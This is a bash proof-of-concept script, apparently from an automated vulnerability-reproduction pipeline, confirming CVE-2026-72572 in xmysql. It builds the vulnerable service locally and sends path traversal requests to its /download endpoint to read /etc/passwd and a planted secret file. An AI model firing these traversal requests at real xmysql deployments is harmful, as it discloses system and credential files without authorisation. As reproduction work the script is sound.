#!/bin/bash
# Reproduction for CVE-2026-72572:
# Unauthenticated path traversal / arbitrary file read in o1lab/xmysql
# GET /download?name=<traversal> -> lib/xapi.js downloadFile() serves any
# file readable by the process via path.join(process.cwd(), req.query.name).
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"

exec > >(tee -a "$LOGS/reproduction_steps.log") 2>&1

cd "$ROOT"

VULN_COMMIT="8c6b00ee22860230975e43ab705d015d2235e308"
REPO_URL="https://github.com/o1lab/xmysql"
APP_PORT=3000
DB_NAME="reprodb"
DB_USER="root"
DB_PASS="rootpass"

echo "[*] CVE-2026-72572 xmysql /download path traversal reproduction"

# ---------------------------------------------------------------------------
# 1. Resolve repository location (prefer prepared project cache)
# ---------------------------------------------------------------------------
CACHE_CTX="$ROOT/project_cache_context.json"
REPO=""
if [ -f "$CACHE_CTX" ] && command -v jq >/dev/null 2>&1; then
  PREPARED="$(jq -r '.prepared // false' "$CACHE_CTX")"
  PCACHE="$(jq -r '.project_cache_dir // empty' "$CACHE_CTX")"
  if [ "$PREPARED" = "true" ] && [ -n "$PCACHE" ] && [ -d "$PCACHE" ] && [ -w "$PCACHE" ]; then
    REPO="$PCACHE/repo"
  fi
fi
if [ -z "$REPO" ]; then
  REPO="$ROOT/artifacts/xmysql"
  mkdir -p "$ROOT/artifacts"
fi
echo "[*] Using repo path: $REPO"

if [ ! -d "$REPO/.git" ]; then
  echo "[*] Cloning $REPO_URL"
  git clone "$REPO_URL" "$REPO"
fi
git -C "$REPO" fetch --quiet origin "$VULN_COMMIT" 2>/dev/null || true
git -C "$REPO" checkout --quiet "$VULN_COMMIT"
HEAD_SHA="$(git -C "$REPO" rev-parse HEAD)"
echo "[*] Checked out commit: $HEAD_SHA"

# Sanity: the vulnerable pattern must be present in the checked-out source.
grep -n "path.join(process.cwd(), req.query.name)" "$REPO/lib/xapi.js"

# ---------------------------------------------------------------------------
# 2. Install dependencies (mariadb server + node modules)
# ---------------------------------------------------------------------------
if ! command -v mariadbd >/dev/null 2>&1 && ! command -v mysqld >/dev/null 2>&1; then
  echo "[*] Installing mariadb-server"
  sudo DEBIAN_FRONTEND=noninteractive apt-get update -qq
  sudo DEBIAN_FRONTEND=noninteractive apt-get install -y mariadb-server mariadb-client
fi

if [ ! -d "$REPO/node_modules/express" ]; then
  echo "[*] Installing node dependencies (--ignore-scripts: 'sleep' native module is unused and fails to build on modern node)"
  (cd "$REPO" && npm install --ignore-scripts --no-audit --no-fund)
fi

# ---------------------------------------------------------------------------
# 3. Start MariaDB and prepare schema
# ---------------------------------------------------------------------------
sudo service mariadb start || sudo service mysql start || true

# Dual-mode SQL runner: fresh installs authenticate root via unix_socket (sudo
# mysql works without a password); after our ALTER USER, TCP+password works.
run_sql() {
  if sudo mysql -e "SELECT 1" >/dev/null 2>&1; then
    sudo mysql
  else
    mysql -h 127.0.0.1 -u "$DB_USER" -p"$DB_PASS"
  fi
}

for i in $(seq 1 30); do
  if sudo mysqladmin ping >/dev/null 2>&1 || \
     mysqladmin -h 127.0.0.1 -u "$DB_USER" -p"$DB_PASS" ping >/dev/null 2>&1; then
    break
  fi
  sleep 1
done
run_sql <<'SQL'
SELECT 1;
SQL

# Give the TCP-facing account a native password and create the schema.
run_sql <<'SQL'
ALTER USER 'root'@'localhost' IDENTIFIED VIA mysql_native_password USING PASSWORD('rootpass');
DROP DATABASE IF EXISTS reprodb;
CREATE DATABASE reprodb;
CREATE TABLE reprodb.t1(id INT PRIMARY KEY AUTO_INCREMENT, name VARCHAR(64));
INSERT INTO reprodb.t1(name) VALUES('alpha'),('beta');
FLUSH PRIVILEGES;
SQL
mysql -h 127.0.0.1 -u "$DB_USER" -p"$DB_PASS" -e "SELECT * FROM $DB_NAME.t1;"

# ---------------------------------------------------------------------------
# 4. Start the real xmysql service (dynamic routes enabled by default on localhost)
# ---------------------------------------------------------------------------
# Unique attacker target file outside the application working directory.
SECRET_TOKEN="PRUVA_XMYSQL_SECRET_$(date +%s%N)"
SECRET_FILE="/tmp/pruva_xmysql_secret.txt"
printf '%s\n' "$SECRET_TOKEN" | sudo tee "$SECRET_FILE" >/dev/null
sudo chmod 0644 "$SECRET_FILE"
echo "[*] Planted secret file $SECRET_FILE with token $SECRET_TOKEN"

pkill -f "^node bin/index\\.js" 2>/dev/null || true
sleep 1
(cd "$REPO" && nohup node bin/index.js -h 127.0.0.1 -o 3306 -u "$DB_USER" -p "$DB_PASS" -d "$DB_NAME" -n "$APP_PORT" > "$LOGS/xmysql_service.log" 2>&1 & echo $! > "$LOGS/xmysql.pid")

BASE_URL=""
for i in $(seq 1 30); do
  for cand in "http://127.0.0.1:$APP_PORT" "http://localhost:$APP_PORT"; do
    if curl -s --max-time 2 "$cand/_health" | grep -q process_uptime; then
      BASE_URL="$cand"
      break
    fi
  done
  [ -n "$BASE_URL" ] && break
  sleep 1
done
if [ -z "$BASE_URL" ]; then
  echo "[-] xmysql service failed to become healthy"
  cat "$LOGS/xmysql_service.log"
  exit 1
fi
echo "[*] xmysql healthy at $BASE_URL"
curl -s "$BASE_URL/_health" | tee "$LOGS/health_response.json"

# ---------------------------------------------------------------------------
# 5. Exploit: unauthenticated path traversal via /download
# ---------------------------------------------------------------------------
TRAVERSAL="../../../../../../../../.."

echo "[*] Attempt 1: download /etc/passwd via traversal"
curl -sS --max-time 10 -D "$LOGS/download_passwd_headers.txt" \
  "$BASE_URL/download?name=$TRAVERSAL/etc/passwd" -o "$LOGS/downloaded_passwd.txt"
head -5 "$LOGS/download_passwd_headers.txt"

echo "[*] Attempt 2: download planted secret file via traversal"
curl -sS --max-time 10 -D "$LOGS/download_secret_headers.txt" \
  "$BASE_URL/download?name=$TRAVERSAL$SECRET_FILE" -o "$LOGS/downloaded_secret.txt"
head -5 "$LOGS/download_secret_headers.txt"

# Benign control: non-traversal request for a file that does not exist in cwd.
curl -sS --max-time 10 -o "$LOGS/download_benign_body.txt" -w "%{http_code}" \
  "$BASE_URL/download?name=definitely_not_here.txt" > "$LOGS/download_benign_status.txt"
echo "[*] Benign control HTTP status: $(cat "$LOGS/download_benign_status.txt")"

# ---------------------------------------------------------------------------
# 6. Verify results
# ---------------------------------------------------------------------------
PASSWD_OK=false
SECRET_OK=false
if diff -q "$LOGS/downloaded_passwd.txt" /etc/passwd >/dev/null 2>&1 && grep -q "^root:" "$LOGS/downloaded_passwd.txt"; then
  PASSWD_OK=true
  echo "[+] /etc/passwd fully disclosed through /download (byte-identical)"
fi
if grep -q "$SECRET_TOKEN" "$LOGS/downloaded_secret.txt"; then
  SECRET_OK=true
  echo "[+] Planted secret token recovered through /download: $(cat "$LOGS/downloaded_secret.txt")"
fi

# ---------------------------------------------------------------------------
# 7. Stop service so logs are immutable, then write runtime manifest
# ---------------------------------------------------------------------------
kill "$(cat "$LOGS/xmysql.pid")" 2>/dev/null || true
pkill -f "^node bin/index\\.js" 2>/dev/null || true
sleep 1

TARGET_DIGEST="$(printf 'git:%s@%s' "$REPO_URL" "$HEAD_SHA" | sha256sum | awk '{print $1}')"

if [ "$PASSWD_OK" = "true" ] && [ "$SECRET_OK" = "true" ]; then
  jq -n \
    --arg detail "HTTP GET /download?name=<traversal> on xmysql (lib/xapi.js downloadFile)" \
    --arg url "$REPO_URL" \
    --arg sha "$HEAD_SHA" \
    --arg digest "$TARGET_DIGEST" \
    --arg notes "Unauthenticated arbitrary file read confirmed: /etc/passwd byte-identical and planted secret token recovered via ../ traversal in the name query parameter. No patched upstream version exists (project archived, renamed to NocoDB)." \
    '{
      entrypoint_kind: "endpoint",
      entrypoint_detail: $detail,
      service_started: true,
      healthcheck_passed: true,
      target_path_reached: true,
      runtime_stack: ["mariadb", "xmysql-0.6.0-node-express"],
      target_identity: {
        repository_url: $url,
        commit_sha: $sha,
        target_digest: $digest,
        platform: "linux",
        architecture: "x86_64"
      },
      proof_artifacts: [
        "logs/xmysql_service.log",
        "logs/health_response.json",
        "logs/download_passwd_headers.txt",
        "logs/downloaded_passwd.txt",
        "logs/download_secret_headers.txt",
        "logs/downloaded_secret.txt",
        "logs/download_benign_status.txt"
      ],
      notes: $notes
    }' > "$REPRO_DIR/runtime_manifest.json"
  echo "[+] CVE-2026-72572 CONFIRMED: unauthenticated arbitrary file read via /download"
  exit 0
fi

echo "[-] Reproduction failed (passwd_ok=$PASSWD_OK secret_ok=$SECRET_OK)"
jq -n \
  --arg url "$REPO_URL" \
  --arg sha "$HEAD_SHA" \
  --arg digest "$TARGET_DIGEST" \
  '{
    entrypoint_kind: "endpoint",
    entrypoint_detail: "HTTP GET /download?name=<traversal>",
    service_started: true,
    healthcheck_passed: true,
    target_path_reached: false,
    runtime_stack: ["mariadb", "xmysql-0.6.0-node-express"],
    target_identity: {
      repository_url: $url,
      commit_sha: $sha,
      target_digest: $digest,
      platform: "linux",
      architecture: "x86_64"
    },
    proof_artifacts: ["logs/xmysql_service.log"],
    notes: "traversal request did not return expected file contents"
  }' > "$REPRO_DIR/runtime_manifest.json"
exit 1
